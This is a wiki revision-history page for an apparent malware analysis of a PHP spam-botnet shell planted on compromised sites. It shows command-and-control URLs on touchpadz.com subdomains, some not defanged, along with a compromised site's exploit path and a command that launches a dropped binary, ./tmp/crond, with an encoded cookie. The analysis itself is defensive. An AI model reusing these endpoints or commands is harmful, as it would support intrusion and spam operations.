	</syntaxhighlight>		</syntaxhighlight>

	The <code>su</code> URL will return the exploit URL that contains the PHP spammer.		The {{code\|su</code> URL will return the exploit URL that contains the PHP spammer.
	<syntaxhighlight lang="text">		<syntaxhighlight lang="text">
	http://resiliententrepreneur.com/wp-content/cache/supercache/resiliententrepreneur.com/ajaxfilemanager/file.php		http://resiliententrepreneur.com/wp-content/cache/supercache/resiliententrepreneur.com/ajaxfilemanager/file.php

← Older revision		Revision as of 04:46, 8 May 2015
Line 169:		Line 169:

	The user is redirected to the actual destination only if an encoded email address is found in the URI. The actual destination seems to be operated by the same operator who runs the botnet or is related to the operator since it contains an image href to:		The user is redirected to the actual destination only if an encoded email address is found in the URI. The actual destination seems to be operated by the same operator who runs the botnet or is related to the operator since it contains an image href to:
	* ~~http~~://touch.touchpadz.com/empty22.gif		* hxxp://touch.touchpadz.com/empty22.gif

← Older revision		Revision as of 04:46, 8 May 2015
Line 163:		Line 163:
	http://resiliententrepreneur.com/wp-content/cache/supercache/resiliententrepreneur.com/ajaxfilemanager/file.php		http://resiliententrepreneur.com/wp-content/cache/supercache/resiliententrepreneur.com/ajaxfilemanager/file.php
	</syntaxhighlight>		</syntaxhighlight>


			== Email Links ==
			Each spam message appears to contain random explicit words (or that it really is bad English) and one link that is hosted on an exploited server.

			The user is redirected to the actual destination only if an encoded email address is found in the URI. The actual destination seems to be operated by the same operator who runs the botnet or is related to the operator since it contains an image href to:
			* http://touch.touchpadz.com/empty22.gif

← Older revision		Revision as of 03:10, 7 May 2015
Line 253:		Line 253:

	There are three URLs that the program will fetch data from.		There are three URLs that the program will fetch data from.
	# lu: ~~http~~://sk.touchpadz.com/ + /img/logo.gif?sessd='''$ldb'''&sessc='''$lc'''&sessk='''$kk'''		# lu: hxxp://sk.touchpadz.com/ + /img/logo.gif?sessd='''$ldb'''&sessc='''$lc'''&sessk='''$kk'''
	# bu: ~~http~~://bat.touchpadz.com/aa2.php		# bu: hxxp://bat.touchpadz.com/aa2.php
	# su: ~~http~~://stat.touchpadz.com/gj13.php		# su: hxxp://stat.touchpadz.com/gj13.php

	The <code>lu</code> URL will contain 3 parameters that are provided through the environment variable. The data returned from this source is encoded in an unknown format, but is most likely a list of email addresses.		The <code>lu</code> URL will contain 3 parameters that are provided through the environment variable. The data returned from this source is encoded in an unknown format, but is most likely a list of email addresses.

← Older revision		Revision as of 03:53, 6 May 2015
Line 257:		Line 257:
	# su: http://stat.touchpadz.com/gj13.php		# su: http://stat.touchpadz.com/gj13.php

	The <code>lu</code> URL will contain 3 parameters that are provided through the environment variable. The data returned from this source is encoded in an unknown format.		The <code>lu</code> URL will contain 3 parameters that are provided through the environment variable. The data returned from this source is encoded in an unknown format, but is most likely a list of email addresses.

	The <code>bu</code> URL will return the spam message payload, encoded with the base64+xor encoder.		The <code>bu</code> URL will return the spam message payload, encoded with the base64+xor encoder.

← Older revision		Revision as of 06:04, 5 May 2015
Line 226:		Line 226:


			</syntaxhighlight>


			The attacker will see the following outputs:

			<syntaxhighlight lang="text>
			<shchzzz><inf step=3 data=x64><inf step=4 data=downok><inf step=5 data=done data2=XXX></shchzzz>
			</syntaxhighlight>

			where XXX is the return code of the shell exec which attempts to run:

			<syntaxhighlight lang="text">
			XDVSN_SESSION_COOKIE=PnJxPDMyPi1ycTw+d3BqPD4td3BqPD53cHI8Pi13cHI8Pm52PDcyMj4tbnY8Pm5hPDMyMj4tbmE8PmBxPDAyPi1gcTw+bnc8anZ2cjgtLXFpLHZtd2FqcmNmeCxhbW8tPi1udzw+YHc8anZ2cjgtLWBjdix2bXdhanJjZngsYW1vLWNjMCxyanI+LWB3PD5xdzxqdnZyOC0tcXZjdix2bXdhanJjZngsYW1vLWVoMzEscmpyPi1xdzw+bmZgPHVgXTIyMz4tbmZgPD5paTwxOmAzMjY1OzRmO2YyMGM6LjdkMztmZjU0M2AzY2cyNDUuMzowZjtgZzE3Yzc6YDdnLjU0MzA3NWE1Y2c2MTc3MC4zYTQ7M2AwYTE6NTUxN2dhLjNjNTc1NTsyMzdkYWZnMDouYTdmNDMyNzY0OmFmNTYyLjY6OjozMjs3N2FkOzJmMmEuNDBhOjIyMDsxOjowZDoyZC4zZzRgZGQ0YDY2NmczYDJmLjQxZjA3NTA7MjQ3OmA7OzouMGAyMmdkMmQ2YzZkMzs1Zi5kMzBhNzZnMzs3NWFmNjEuNzE0NzE6N2MzYzc1MjswMC42OjM6ZzQ3NDdjYGM1Z2BjLjtmNDc3Ojc3NDo6Zjc1Ni4xMzU0MDJgNjYwN2Y0NjUyLjM0Zjc6YTIxM2ZmZzVjMy43ZDswNzQ2MjIyN2FkNDRgLjc1MTQwYWMwMDdjYWNnMmQuNGBmNWNkYTMzZjc2MDJmZi41ZzE7ZmZmYDI7MzZmNTYzLjE1NjIxMGA3NzVhMzQ1MmQuN2M3NzU6NTMwMzc0YDBgMC42MGdnMzRmZjNmM2Q0YDA3LjU7YDE7Y2A6NWc1MTA0MzsuMTthY2A3ZjIwYDQ0YTtkYy40Ozc0OzFkZzExMmc6MjdkLjVmMmcxOmFnMTJgMWZnMGEuNTJgZDU3NzYwO2AyNzs2NC41OmA3NztgMzZjMzFkMTI0LjQxYDo1NDpnNDE0ZGY7NGYuNjYwYGQ1YTMwMDs1MjY6Ni40OmM7YTs1ZDQwZ2EwOjBmLjVnNjAzNGBmMDZnMTc2YDEuNjphZzI6NzQ2Zzo3Y2YzNS4wYzA1MGNnZjUzNTE6NmZkLjc1MzphOjZkM2EyNTA6ZmAuM2MyYDszZzE0Zjs1M2YzNC43YGQ1MjsxNzE1NWZnNTQ2LjBjZzBgNjc6MjtjZzc3MmYuMzY3MDJkMzozNTdmMWFgYy40YzFnMDZkNTM3Z2Y2YTY3LmcwYzswZzoyZjMxMjQ2MC43YTIyM2Q0OjJhMmc3N2NnLjMzYDdjNzUwY2E6NjVkOi42MGdmNjA3ZDQ0YzJhZ2QwLjY1NTBnOjA1NjpnNWBnYGEuNDQ7YDpkY2c0Z2Q0N2dhOi41MmE7MzUyNTAwMjU2OjMyLmEyYTQ3OmMyM2ZnOmdmYy4xYzU2YWFmMzZjMTEyYWQ6LjdmOzpmNzVhN2FnOjEzOmAuMzIyZjJmZGM2OzMyZzNkNS41MTQxOjQ2MjJgMjE3Mjs3LjQ7ZGNmNWQ3ZjE1YDNnNi41MToyNDMxMzUzNGY3NmZjLjYyZmcxMjI7MWAwNjIzYWMuMTpkM2Y2YTMyYWE1MDthMC40NTo0YTVhMzYzYzZhNGM0LjA6Z2czZDtgMDs3ZjZkYTMuMGYzZDdnYTY0NDo0Z2djNC4wNjtnNmM6NDM2MGdkNWY6LjM1OzNmM2c6NDQ0YTA2MzYuNjdgNzMxMWM1MTIzY2MxYT4taWk8 ./tmp/crond >/dev/null 2>/dev/null &
	</syntaxhighlight>		</syntaxhighlight>

PHP Shell Exploit - Revision history

Leo: added category

Leo: Text replacement - "" to "}}"

Leo: Text replacement - "" to "{{code|"

10.1.1.3: /* Email Links */

10.1.1.3 at 04:46, 8 May 2015

10.1.1.3 at 03:39, 7 May 2015

10.1.1.3 at 03:10, 7 May 2015

10.1.1.3 at 03:53, 6 May 2015

10.1.1.3 at 03:52, 6 May 2015

10.1.1.3 at 06:04, 5 May 2015

Leo: Text replacement - "`" to "{{code|"`